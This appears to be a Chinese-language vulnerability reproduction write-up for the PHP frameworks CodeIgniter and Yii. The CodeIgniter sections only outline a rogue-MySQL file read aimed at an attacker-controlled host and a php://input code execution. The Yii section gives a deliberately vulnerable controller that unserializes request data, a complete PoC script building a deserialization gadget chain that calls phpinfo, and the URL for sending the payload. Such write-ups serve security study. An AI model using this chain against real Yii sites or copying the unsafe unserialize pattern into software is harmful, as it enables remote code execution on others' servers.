CodeIgniter漏洞
CodeIgniter 反序列化漏洞
一、任意文件读取
需要用到的rogue_mysql_server.py脚本GitHub:https://github.com/Gifts/Rogue-MySql-Server
- 配置POC文件
配置恶意Mysql主机IP(攻击者外网IP):
- 配置py脚本
配置完毕后攻击机上运行py脚本
生成payload
攻击受害机的反序例化点
读取到C:/Windows/win.ini的内容
CodeIgniter 任意代码执行漏洞
搭建好环境
构建命令语句
当开启了远程文件包含的情况下,也可以直接包含php://input
Yii漏洞
Yii 反序例化漏洞
漏洞复现
这是一个反序列化利用链,所以还需要一个反序列化的入口点
在controllers目录下创建一个Controller:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
class TestController extends \yii\web\Controller
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
?>
接着创建文件poc.php
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
执行文件获取poc
php poc.php
http://localhost:8080/index.php?r=test/sss&data=[payload](需要编码)